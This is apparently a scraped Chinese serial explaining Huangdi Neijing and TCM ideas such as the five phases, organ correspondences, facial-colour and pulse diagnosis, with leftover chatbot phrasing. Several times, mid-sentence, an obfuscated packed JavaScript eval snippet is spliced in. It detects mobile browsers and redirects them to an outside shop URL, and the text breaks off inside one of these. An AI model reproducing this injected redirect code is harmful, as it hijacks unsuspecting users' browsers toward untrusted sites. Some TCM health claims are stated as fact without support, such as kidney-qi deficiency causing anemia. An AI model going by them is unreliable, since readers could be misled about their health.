**郁气候**：这里的“郁”可以理解为压抑或不畅。郁气候可能指的是某种气候要素（如气流、降水等）的运动或分布受到阻碍，导致气候状态异常。例如，大气环流异常导致某个地区长时间处于静稳状态，污染物难以扩散。 6. **胜气候**：这里的“胜”可以理解为占据优势或支配地位。胜气候可能指的是某种气候类型或气候要素在特定地区或时间段内占据主导地位，影响整个气候状态。例如，某个地区在一段时间内持续受到热带气旋的影响，出现频繁的风暴和降雨。 7. **复气候**：这里的“复”可以理解为重复或循环。复气候可能指的是某种气候现象或状态在特定地区或时间段内反复出现，形成周期性变化。例如，某些地区会经历季节性的干旱和雨季的循环。 需要注意的是，这些气候描述是基于对问题中词汇的引申和解释，并非气候科学中的专业术语。在真实的气候研究中，我们会使用更加精确和科学的术语来描述和解释气候现象。 当然，我将继续根据给定的词汇风格来扩展描述这八种气候现象或状态： 8. **逆转气候**：逆转气候描述的是气候状态在短时间内发生的急剧变化，这种变化可能是由于大气环流的突然改变或其他外部因素的干扰所致。例如，一个地区可能在数天内经历从极端寒冷到异常温暖的快速转变，这种气候的突然逆转可能对当地生态系统和人类社会造成重大影响。 接下来，我会以更贴近气候科学的方式，结合这些词汇所表达的内涵，来具体描述一些真实的气候现象： **淫雨气候**：淫雨气候通常指的是长时间的连续降雨，降雨量远远超过正常水平。这种情况通常发生在雨季或台风等天气系统的影响下。淫雨可能导致洪涝、泥石流等自然灾害，对人们的生命和财产安全构成威胁。 **太过炎热气候**：太过炎热的气候指的是气温异常升高，超过历史平均水平。这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428630|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 种气候现象通常与全球气候变暖有关，可能导致干旱、热浪等极端天气事件。太过炎热的气候对人们的健康、农业生产和生态系统都有不利影响。 **降水不足气候**：降水不足的气候指的是某个地区在一段时间内降雨量远远低于正常水平，导致干旱。这种情况可能由多种因素引起，如大气环流异常、降水系统减弱等。干旱对农业、水资源和生态系统都有严重影响。 **气流郁滞气候**：气流郁滞的气候描述的是大气流动不畅，空气停滞不动的情况。这通常发生在静稳天气条件下，大气中的污染物难以扩散，空气质量下降。长时间的气流郁滞可能导致空气污染事件，对人们的健康产生威胁。 **盛行风气候**：盛行风气候指的是某个地区常年受某种特定风向的风影响的气候类型。这种气候现象通常与地形、海洋和大气环流等因素有关。盛行风气候对当地的气候特征、植被分布和农业生产都有重要影响。 **周期性复现气候**：周期性复现的气候指的是某种气候现象或状态在特定时间段内反复出现的现象。这种周期性复现可能表现为季节性的气候模式（如雨季和旱季），也可能表现为更长时间尺度的气候周期（如冰期和间冰期）。周期性复现的气候对生态系统的演化和人类社会的适应都有重要影响。 以上是对八种反常气候现象的进一步描述，希望能满足你的需求。需要注意的是，这些描述仍然是基于词汇内涵的引申和解释，并非气候科学中的严格定义。在实际的气候研究和预测中，我们会使用更加精确和科学的术语来描述和解释气候现象。 第8章 （6）五运与24节气：节气轮转中的五运之道 五运与24节气的关系，在中医理论中，是紧密相连、相辅相成的。这两者共同构成了中医理论体系中关于自然与人体关系的重要部分。 首先，我们来明确五运和24节气的概念。五运，即金、木、水、火、土五种气，它们因其变化运行而得名。这五种气代表了不同的属性和变化，是中医理论中解释自然和生命现象的重要工具。而24节气，则是中国古代历法中表示自然节律变化以及确立“十二月建”的特定节令，准确地反映了自然节律变化，对人们的日常生活和农耕生产有着重要的指导意义。 接下来，我们分点讨论五运与24节气的关系： 1. **时间周期的同步性**：五运和24节气都是以一年为周期进行循环的。五运的轮转与24节气的更迭相互呼应，共同构成了自然界和人体生命活动的节奏。 2. **气候变化的关联性**：五运的变化与24节气中的气候变化密切相关。例如，春季（立春至谷雨）对应木运，气候温暖湿润，万物复苏；夏季（立夏至大暑）对应火运，气候炎热，万物繁茂。这种对应关系使得五运能够更好地解释和预测24节气中的气候变化。 3. **生命活动的协调性**：五运与24节气的关系也体现在对人体生命活动的影响上。在不同的节气中，人体的五脏六腑也会随着五运的变化而有所调整。例如，在春季养肝、夏季养心等养生原则就是基于五运与24节气的关系而得出的。 4. **养生指导的实用性**：五运与24节气的关系在中医养生学中有着重要的应用。通过了解五运与24节气的关系，人们可以更加科学地制定养生计划，从而达到预防疾病、延年益寿的目的。 当然，关于五运和24节气的关系，我们还可以进一步深入探讨。 5. **五行生克关系的体现**：在中医五行理论中，金、木、水、火、土五行之间存在相生相克的关系。这种关系在五运与24节气的对应中也有所体现。例如，春季的木运生夏季的火运，夏季的火运则克制秋季的金运。这种生克关系不仅揭示了自然界中物质和能量的变化规律，也反映了人体五脏六腑之间的相互作用和平衡状态。 6. **中医“天人合一”思想的体现**：五运与24节气的关系还体现了中医“天人合一”的思想。中医认为，人与自然是一个统一的整体，人的生命活动与自然界的变化密切相关。五运和24节气作为自然界变化的重要标志，它们的变化规律也直接影响着人体的生理和病理状态。因此，了解五运与24节气的关系，有助于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428631|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人们更好地顺应自然规律，保持身心健康。 7. **中医预防医学的应用**：五运与24节气的关系在中医预防医学中也有着重要的应用。通过预测和分析五运与24节气的变化规律，中医可以预测出某些疾病的发生趋势和流行规律，从而采取相应的预防措施。例如，在冬季（立冬至大寒）对应水运时，由于气候寒冷、湿气重，容易导致呼吸系统疾病的发生。因此，中医会建议人们在这个时期注意保暖、保持室内空气流通等预防措施。 8. **文化传承与现代应用**：五运与24节气的关系不仅具有深厚的文化底蕴和历史价值，而且在现代社会中仍然具有广泛的应用价值。例如，在现代农业中，农民可以根据24节气的变化规律来安排农事活动；在中医养生和疾病治疗中，医生可以根据五运与24节气的关系来制定个性化的养生和治疗方案；在环境保护和生态建设中，也可以借鉴五运与24节气的思想来指导生态修复和环境保护工作。 综上所述，五运与24节气的关系在中医理论中占据着重要的地位，它们共同构成了中医理论体系中关于自然与人体关系的重要部分。通过深入了解五运与24节气的关系，我们可以更好地认识自然界和人体的变化规律，为人们的生活和健康提供有益的指导。 第8章 （7）藏象究竟是什么？一文带你深入了解 在古代中医的藏象理论中，“藏象”一词，是指藏于体内的内脏所表现于外的生理病理征象，也常用来通称内脏。皇帝问及藏象，岐伯的回答涉及到了中医对于心这一脏腑的深刻认识。 岐伯言心为生命的根本，这一点在中医理论中尤为重要。中医认为，心主血脉，主神明，开窍于舌，其华在面，与小肠相表里。心作为君主之官，统摄全身脏腑的功能活动，是人体生命活动的主宰。心的功能正常，则血脉通畅，面色红润，精神饱满，思维敏捷。 岐伯进一步指出，心是精神和意识存在的地方。这是因为心主神明，具有统帅全身脏腑生理活动和主司人体精神意识思维活动的功能。人的精神意识思维活动虽可分属于五脏，但主要是由心主神的生理功能所统摄的。 至于心的荣华表现于面部，这是因为心主血脉，其华在面。面部血脉丰富，故色泽变化能反映心血、心气的盛衰及其机能的强弱。心血充足，则面部红润有光泽；心血不足，则面部白而无华；心气不足，则面色淡白、晦滞；心血瘀阻，则面色青紫。 至于心所充养的组织在血脉，这是因为心主血脉，具有推动血液在脉管中运行不息的作用。心气的强弱，血液的盈亏及其循环状况，均可影响脉象。 最后，岐伯提到心为阳中的太阳，与夏气相通。这是因为夏季是一年中阳气最盛的季节，而心为阳脏，主阳气。夏季的气候特点与心的生理特性相应，故夏季养生应顺应心的生理特性，保持心情平静，避免过度激动和烦躁，以防心火过旺。 关于“肺是气的根本，是魄所续藏的地方”，这句话是中医理论中对肺功能的深度描述。首先，我们要明白中医中的“肺”并不仅仅是解剖学意义上的肺部，而是包含了更多的功能和特性。 肺作为“气”的根本，主要是指它主管着人体呼吸之气与一身之气的生成和运行。在中医理论中，肺通过呼吸运动，吸入自然界的清气，呼出体内的浊气，实现体内外气体的交换。这一过程不仅是生命得以维持的必要条件，同时也保证了人体气的生成与更新。 至于“是魄所续藏的地方”，这里的“魄”指的是一种与人的精神活动密切相关的物质，它依赖于气血的滋养，并藏于肺中。在中医看来，肺与魄的关系密切，肺的功能正常与否直接影响到人的精神活动。 接下来，我们来看“其荣华表现在毫毛，所充养的组织在皮肤”。这句话描述了肺与体表组织的关系。中医认为，肺主皮毛，通过宣发作用，将卫气和气血津液输布到全身，以温养皮肤肌肉，故皮肤毛发润泽。若肺气虚弱，则可能导致皮毛憔悴枯槁，出现各种皮肤问题。 最后，“是阳中的太阴与秋气相通”。这句话揭示了肺与自然界季节变化的关系。在五行学说中，肺属金，与秋季相应。秋季气候干燥，而肺为娇脏，喜润恶燥，故秋季养生应特别注意润肺养阴，以防肺燥伤身。 中医对肺的认识是一个多层次、多维度的系统，它不仅包括了肺在生理功能上的作用，还涉及到了与人的精神活动、体表组织以及自然界季节变化的关系。 肾主蛰伏，这一描述在中医理论中相当有深度。首先，我们要理解“蛰伏”这个概念。在自然界中，蛰伏往往指的是动物在寒冷季节进入的一种静止、休眠状态，以保存体力和精气。在中医理论中，肾被赋予了类似的功能，即 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428632|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “封藏精气的根本”。 肾作为封藏精气的根本，意味着它是人体精气的储存库和源泉。精气是人体生命活动的基本物质，具有促进生长发育、生殖繁衍、抵御外邪等多种功能。肾能够将这些精气储存起来，并在需要时释放，以维持人体的正常生命活动。 此外，肾还是精气存在的地方。这里的“精气”可以理解为一种更高级别的生命能量，它不仅仅局限于物质层面，更涵盖了精神、意识等非物质层面。因此，肾的健康与否，直接关系到人的精神状态和生命力强弱。 关于肾的荣华表现在头发，这是因为头发的生长和脱落与肾气的盛衰密切相关。肾气充足时，头发浓密、乌黑、有光泽；肾气不足时，则可能出现头发稀疏、干枯、易脱落等现象。同时，头发也是人体阳气的重要表现之一，能够反映出人体阳气的盛衰。 肾所充养的组织在骨，这是因为骨的生长、发育和修复都需要肾气的滋养。肾气充足时，骨骼强健、有力；肾气不足时，则可能出现骨质疏松、骨折等问题。此外，骨还与人体的造血功能密切相关，肾气不足也可能导致贫血等血液疾病。 肾为阴中之太阴与冬气相通。在中医五行学说中，肾属水，为阴中之阴。而冬季是一年中阴气最盛的季节，与肾的生理特性相应。因此，在冬季养生时，应注重补肾养精，以顺应自然界的阴阳变化。 综上所述，肾主蛰伏是封藏精气的根本，是精气存在的地方。通过了解肾的这些生理功能和特性，我们可以更好地认识人体生命的奥秘，并指导我们的养生实践。 小主，这个章节后面还有哦，请点击下一页继续阅读，后面更精彩！ 第8章 （8） 五脏的秘密：配合与克制的奥秘， 从本章开始，我们将黄帝内经进行一个段落的解读，以免一句一句的解读，让读者产生了解不够深刻的画面。通过整体段落的解读，能够让读者的思维能够衔接上。 心之合脉也，其荣色也，其主肾也。 肺之合皮也，其荣毛也，其主心也。 肝之合筋也，其荣爪也，其主肺也。 脾之合肉也，其荣唇也，其主肝也。 肾之合骨也，其荣发也，其主脾也。 在中医理论中，心脏与脉络、肾脏之间的关系确实非常密切，它们之间的相互作用和制约构成了人体内部复杂的生理网络。 我们来说说心脏与脉络的关系。在中医里，心脏被视为“君主之官”，主宰着人体的血脉和生命活动。脉络则是气血运行的通道，它们遍布全身，将心脏产生的“动力”输送到各个脏腑器官，同时也将脏腑器官产生的代谢废物运回心脏进行处理。因此，心脏与脉络是相互配合、相辅相成的。 接着，我们再来看看肾脏与心脏之间的关系。在中医五行理论中，心脏属火，肾脏属水。水能够灭火，因此肾脏对心脏有一定的制约作用。这种制约并不是简单的压制或抑制，而是通过调节心脏的功能活动，使其保持在一个相对平衡的状态。当心脏功能过于亢进时，肾脏可以通过增加水液的排泄来降低心脏的负荷；当心脏功能减弱时，肾脏则可以通过减少水液的排泄来增强心脏的功能。 至于“肾的情况通过面色就能知道”这一说法，在中医里也有一定的理论依据。中医认为，肾脏主宰着人体的水液代谢和生长发育等功能，同时也与面色、头发等外在表现密切相关。当肾脏功能出现异常时，往往会通过面色、头发等外在表现反映出来。例如，肾虚的人往往面色苍白、无华；而肾阳不足的人则可能出现面色黧黑、黯淡无光等情况。 心脏与脉络相配合、肾脏制约心脏是中医理论中的重要观点之一。它们之间的相互作用和制约关系对于维持人体内部的平衡和稳定具有重要的意义。 关于肺脏与皮肤相配合，以及心脏的情况从毛发上就可以推断，同时心脏能制约肺脏的说法，这其实是中医理论中的一部分。 首先，我们来看肺脏与皮肤的关系。在中医中，肺脏被称为“华盖之官”，主管人体的皮毛。这意味着皮肤的健康和光泽度与肺脏的功能密切相关。当肺脏功能正常时，皮肤通常会显得光滑、细腻；反之，当肺脏功能出现问题时，皮肤可能会出现干燥、粗糙等问题。 接下来，说到心脏与毛发的关系。中医认为，“心主血脉”，而毛发又是血之余。这意味着毛发的健康和光泽度与心脏的功能密切相关。当心脏功能正常时，毛发通常会显得浓密、有光泽；而当心脏功能出现问题时，毛发可能会出现干枯、脱落等情况。 至于心脏能制约肺脏的说法，这同样基于中医的五行理论。在五行中，心属火，肺属金。火能克金，因此心脏在一定程度上能够制约肺脏的功能。但这种制约并不是简单的压制或抑制，而是通过调节和平衡两者之间的关系，使它们能够相互协调、共同维护人体的健康。 当然，这些说法都是基于中医的理论和实践经验，可能无法完全用现代科学的语言来解释。但无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428633|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 论如何，它们都是中医文化宝库中的一部分，值得我们去了解和传承。 肝脏与筋脉相结合，肺脏的情况从爪甲上就能知道，以及肺脏能制约肝脏，这些都是中医理论中的经典论述。 我们来看肝脏与筋脉的关系。在中医理论中，肝主疏泄，藏血，同时也有“肝主筋”的说法。筋脉是连接关节、肌肉，维持人体正常活动的重要组织，它们的强健与肝脏的健康状况密切相关。当肝脏功能正常时，筋脉得以滋养，人体活动自如；反之，如果肝脏功能受损，筋脉可能会失去滋养，导致关节僵硬、运动受限等问题。 接着，我们来说说肺脏与爪甲的关系。中医有“肺主皮毛”的观点，这里的“皮毛”不仅指皮肤，还包括了人体的附属物，如毛发、爪甲等。爪甲是手指和脚趾的坚硬部分，它们的健康状态可以反映肺脏的功能情况。当肺脏功能正常时，爪甲会呈现出红润、有光泽的状态；而当肺脏功能受损时，爪甲可能会变得苍白、干燥，甚至出现变形。 关于肺脏能制约肝脏的说法，这也是中医五行理论中的一部分。在五行中，肺属金，肝属木，金能克木，因此肺脏在一定程度上能够制约肝脏的功能。但这种制约并不是简单的压制或抑制，而是通过调节和平衡两者之间的关系，使它们能够相互协调、共同维护人体的健康。 总结来说，肝脏与筋脉、肺脏与爪甲之间的关系，以及肺脏对肝脏的制约作用，都是中医理论中的经典论述。这些观点虽然来源于古代医学，但在现代医学中也得到了一定的验证和应用。 这章没有结束，请点击下一页继续阅读！ 第8章 （9）五脏“写”在脸上？解读无色五味与健康的秘密 在中医理论中，五脏与面色之间的关系是极为密切的，它们之间的变化往往能够反映出人体内部的健康状况。当五脏外荣于面色的气色表现出青黑之色，且颜色如同死草一般时，这确实是一个值得重视的信号。 首先，我们要明确的是，这种青黑如死草的面色，在中医中通常被认为是“死症”的一种表现。这里的“死症”并非指立即死亡，而是指病情极为严重，预示着病人的生命力极度衰竭，治疗难度极大。 具体来说，青黑之色通常与肝脏和肾脏的功能异常有关。肝脏主疏泄，若肝气郁结，气血不畅，则面色容易发青；而肾脏主藏精，若肾精亏损，水液代谢失常，则面色容易发黑。当面色青黑如死草时，往往意味着肝脏和肾脏的功能已经严重受损，病情已经到了非常严重的地步。 然而，我们也不能过于悲观。在中医中，讲究“辨证施治”，即使病情严重，只要找到合适的治疗方法，仍有可能挽救病人的生命。因此，当发现面色青黑如死草时，应及时就医，寻求专业的中医治疗。 “黄如枳实之色”在中医理论中通常指的是一种面色异常的现象。枳实是一种中药材，其颜色偏黄而深，如果人的面色呈现出类似枳实的黄色，确实需要引起高度警惕。 在中医看来，面色发黄往往与脾胃功能失调有关。脾胃是后天之本，气血生化之源，如果脾胃功能受损，就会导致气血生成不足，面色就会发黄。而当面色黄如枳实时，往往意味着病情已经相当严重，可能是脾胃功能衰竭的征兆。 然而，需要强调的是，虽然“黄如枳实之色”在中医中可能被视为病情严重的表现，但并不意味着这就是“死症”。在中医理论中，“死症”通常指的是病情已经发展到无法挽回的地步，而“黄如枳实之色”只是病情严重的一个表现，并非必然导致死亡。 当发现面色黄如枳实时，我们应该及时就医，寻求专业的中医治疗。医生会根据病人的具体情况，通过辨证施治的方法，给予合适的治疗方案。 “红如凝血之色”在中医中的描述通常指的是一种异常的面色表现，这种红色深且暗，如同凝固的血液一般。在中医理论中，面色是反映人体内部脏腑功能状态的一个重要指标，因此这种异常的面色确实需要引起我们的重视。 然而，需要强调的是，虽然“红如凝血之色”可能意味着病情严重，但并不意味着它就是一个“死证”。在中医中，“死症”通常指的是病情已经到了无法挽回的地步，但“红如凝血之色”更多地是反映了一种病理状态，可能是由于气血瘀滞、热盛等原因造成的。 具体来说，面色红如凝血可能与以下几种情况有关： 1. 气血瘀滞：当人体内的气血流通不畅，形成瘀滞时，面色可能会变得暗红。这种情况通常与多种疾病有关，如心血管疾病、肝脏疾病等。 2. 热盛：当人体内的热邪过盛时，也会导致面色发红。这种热邪可能是由于外感热邪、内伤热邪等多种原因造成的。 当发现面色红如凝血时，我们应该及时就医，寻求专业的中医或西医治疗。 关于“如出现白如枯骨之色的就是死者”这一说法，实际上在中医理论中确实存在类似的描述，但并非完全等同于“死者”。这里所说的“白如枯骨之色”通常指的是一种异常的面色，即面色苍白且缺乏生机，仿佛像枯骨一般。 在中医五 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428634|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 色诊病中，白色往往与肺的功能相关，因为肺主气，其华在毛，其色为白。当面色呈现出“白如枯骨”的色泽时，往往意味着气血严重不足，或是阳气极度虚弱。这种情况下，病情确实可能十分严重，但并不能直接等同于“死者”。 需要明确的是，中医的五色诊病是一种通过观察面色来判断人体健康状况的方法，但它并不是唯一的诊断手段。在实际临床中，医生还需要结合病人的症状、体征、脉象等多种信息来综合分析，才能做出准确的诊断。 此外，我们也需要认识到，中医理论中的“五色”并不是指具体的颜色，而是一种相对的概念。在不同的光源、不同的肤色下，同样的颜色可能会有所差异。因此，在观察面色时，我们需要综合考虑多种因素，以避免误判。 总之，“白如枯骨之色”在中医中确实被视为一种异常的面色，可能意味着病情严重。但并不能直接等同于“死者”。在面对这种情况时，我们应该及时就医，寻求专业的医疗帮助。 面色可以反映一个人的健康状况，但中医理论中的面色描述通常更加细致和具体，“面色如翠鸟的羽毛”可以将其视为一种对生命力和活力的赞美。翠鸟的羽毛鲜艳而富有光泽，如果一个人的面色能如翠鸟的羽毛般鲜亮，那确实可以视为一种健康、有活力的表现。 总之，对于“面色如翠鸟的羽毛主生”这样的描述，我们可以从多个角度来理解和解读。但无论如何，我们都应该保持理性和科学的态度，不盲目相信或过度解读这些传统观念和描述。在面对健康和疾病的问题时，我们更应该寻求专业医生的建议和诊断。 本小章还未完，请点击下一页继续阅读后面精彩内容！ 第8章 （10）揭秘！脉络与气血的神秘联系，你知道吗？ 在中医和古代医学理论中，人体被视为一个复杂的系统，其中各个部分相互关联、相互影响。你提到的“条条脉络都属于目，而诸髓都连属于脑，诸筋都连属于骨节，诸血都连属于心，诸气都连属于肺”等观点，实际上体现了这种系统性和整体性。 脉络与目的关系，可以理解为眼部脉络的畅通与否直接影响到视力的好坏。脉络在中医中通常指的是经络系统，它是人体内气血运行的通道，对于维持人体的正常生理功能具有重要意义。 髓与脑的关系，髓是构成人体骨骼和脑髓的主要物质，脑髓则是神经系统的重要组成部分，它控制着人体的各种感觉和运动功能。因此，髓的充盈与否直接影响到脑部的功能状态。 筋与骨节的关系，筋是连接肌肉和骨骼的结缔组织，它对于维持人体的运动功能至关重要。而骨节则是骨骼之间的连接点，也是人体运动的基础。因此，筋的强健与否直接影响到骨骼的稳定性和运动功能的发挥。 接着，血与心的关系，中医认为心主血脉，心气推动血液在脉管中运行，周流全身，为全身各脏腑组织器官提供营养。因此，血的充盈和畅通与心的功能状态密切相关。 最气与肺的关系，中医认为肺主气司呼吸，通过肺的呼吸作用，吸入自然界的清气，呼出体内的浊气，实现体内外气体的交换。同时，肺还具有宣发肃降的功能，将吸入的清气和水谷精气布散全身，以维持人体的正常生理功能。因此，气的生成和运行与肺的功能状态密切相关。 至于“气血的运行朝气往来，不利于四肢八谿的部位”，这里可能涉及到气血运行的规律和对四肢的影响。在中医理论中，气血的运行需要遵循一定的规律，如果气血运行不畅或出现异常，就会导致各种疾病的发生。而四肢作为人体的末梢部位，更容易受到气血运行异常的影响。因此，保持气血的畅通和平衡对于维护四肢的健康具有重要意义。 人体的气血是构成和维持人体生命活动的基本物质，它们通过经络系统循环于全身，滋养着各个脏腑器官。 关于“人睡觉时血储藏在肝脏”的说法，这是中医理论中的“肝藏血”的观点。中医认为，肝脏具有贮藏血液和调节血量的功能，当人体处于休息状态时，部分血液会回流到肝脏进行贮藏，以保证人体在需要时能够有足够的血液供应。 关于“肝得到血，进而滋养眼睛，使眼睛能看到东西”的说法，这是中医理论中的“肝开窍于目”的观点。中医认为，眼睛的功能与肝脏的健康状态密切相关，肝血充足时，眼睛就能得到充分的滋养，从而保持清晰的视力。 至于“脚得到血的充氧就能行走，手掌得到血的充氧就能握住东西，手指得到血的充氧就能拿取物体”，这些观点实际上是在强调气血对于人体运动功能的重要性。在中医理论中，气血是维持人体运动功能的基础，只有气血充足、运行畅通，人体的各个部位才能得到充分的滋养和能量支持，从而保持正常的运动功能。 当然，从现代医学的角度来看，人体的血液循环系统是一个复杂的网络，它不仅仅是在睡眠时将血液“储藏”在肝脏中，而是在不断地为全身各个部位提供氧气和营养物质。而眼睛、脚、手掌和手指等部位的功能也与神经、肌肉等多个系统 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428635|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有关，不仅仅是血液的充氧就能实现的。 不过，中医的这些观点也为我们提供了一种独特的视角来理解和解释人体的生理功能。它们虽然与现代医学有所不同，但都是人类对于自身身体奥秘的探索和认识。 在中医的语境下，风邪被视为一种能够侵入人体并引发各种疾病的外部因素。如果刚睡醒就外出感受风邪，确实有可能对人体的血液循环产生影响。 首我们要明白，刚睡醒时，人体的血液循环系统可能还没有完全恢复到活跃状态，此时如果突然遭受风邪的侵袭，就可能导致血液循环的不畅。 如果这时风邪侵入后，如果凝聚在肌肤之中，会阻碍气血的正常流通，导致局部的气血凝滞，从而引发痹症。痹症通常表现为局部的疼痛、麻木和僵硬等症状。 而“凝于经脉的会导致气血运行不畅”，这是因为经脉是气血流通的通道，如果风邪在经脉中凝聚，就会直接阻碍气血的流通，导致气血运行不畅。这种情况下，可能会出现全身性的症状，如头晕、乏力、肢体疼痛等。 “凝滞在脚部的会引发厥冷”，这是因为脚部是人体血液循环的末端，如果风邪在此处凝聚，就会严重影响脚部的血液循环，导致脚部得不到足够的血液供应，从而出现厥冷的症状。厥冷通常表现为脚部冰冷、麻木、疼痛等。 为了避免这种情况的发生，我们在刚睡醒时最好不要立即外出，尤其是天气寒冷或风大的时候。如果必须外出，也要做好保暖措施，避免风邪的侵袭。同时，如果出现了上述的痹症、气血不畅或厥冷等症状，也要及时就医，以免延误病情。 第8章 （11）掌握脉诊，深入了解五脏奥秘 在中医理论中，诊病的根本确实是以“五决”为纲领的。这里的“五决”并非字面意义上的五个决定因素，而是指五脏之脉，即心、肝、脾、肺、肾五脏的脉象表现。五脏之脉的诊察，是中医望、闻、问、切四诊中切诊的核心内容，也是中医辨证施治的基础。 在探讨疾病发生的原因时，中医强调“先察胃气”。胃气，指的是脾胃的运化功能在脉象上的体现。脾胃为后天之本，气血生化之源，脾胃功能的强弱，直接影响到人体健康状态的好坏。因此，通过诊察脏脉的胃气情况，可以初步判断病情的轻重和预后的好坏。 具体到“五决”即五脏之脉，中医通过观察脉象的浮沉、迟数、滑涩等特征，来判断五脏的功能状态以及是否存在病变。例如，心脉的脉象应当和缓有力，若出现沉细无力或结代脉，则可能提示心血不足或心阳不振；肝脉的脉象应当弦而有力，若出现弦硬或弦紧脉，则可能提示肝气郁结或肝阳上亢等。 总之，中医通过诊察五脏之脉的胃气情况，以及脉象的各种特征，来综合分析疾病的病因、病机以及病情的发展变化，从而制定相应的治疗方案。这种方法体现了中医“以人为本”、“辨证施治”的治疗理念，是中医诊断学的重要组成部分。在此篇中存在了脉象的问题嗯，对于新的朋友来说可能会看不懂，但是对于喜欢黄帝内经和中医文化的人来说，可以去查阅金匮要略和伤寒论，慢慢的去加深，去学习。那我们现在继续沿着上一段路去进行学习。 关于头痛等巅顶部位的疾病属于“下虚上实”的问题，这确实是一个在中医理论中常见的病理描述。在中医的脏腑经络理论中，巅顶部位（即头部顶部）的疾病通常与足少阴肾经和足太阳膀胱经有关。 “下虚上实”的病理状态可以理解为：由于肾精亏损或肾阳不足（即“下虚”），导致脑部失去充足的营养和能量支持，进而出现头痛等巅顶部位的疾病。同时，由于脑部气血瘀滞、痰火内扰等实证表现（即“上实”），使得头痛等症状进一步加剧。 在中医理论中，足少阴肾经与足太阳膀胱经被认为与脑部有密切联系。足少阴肾经主藏精，肾精充足则能滋养脑部；足太阳膀胱经主一身之表，通过调节膀胱经的气血流通，可以影响脑部的气血供应。因此，当这两条经络出现功能失调时，就可能导致脑部疾病的发生。 针对这种病理状态，中医通常会采用补肾益精、活血化瘀、祛痰降火等方法进行治疗。同时，也会通过针灸、推拿等手法刺激这两条经络的穴位，以调节其功能，从而改善脑部疾病的症状。 需要注意的是，以上内容仅供参考，具体的诊断和治疗应根据患者的具体病情和中医医师的专业判断来确定。如有需要，请及时就医并咨询专业医师的建议。 当病情恶化，出现头晕眼花、身体动摇、耳聋等症状，并且这些症状被中医诊断为“下虚上实”，且关联到足少阳胆经和足厥阴肝经时，我们确实需要从中医的角度来理解这种病理变化。 “下虚”在中医理论中，常指的是下焦（主要包括肝肾等器官）的虚弱，尤其是肾气的不足。肾为先天之本，主藏精，肾虚则可能导致一系列的症状，如头晕、耳鸣、腰膝酸软等。而“上实”则指的是上焦（主要包括心肺等器官）的实证表现，如痰火内扰、气血瘀滞等，这些实证状态可能会阻塞经络，影响气血的正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 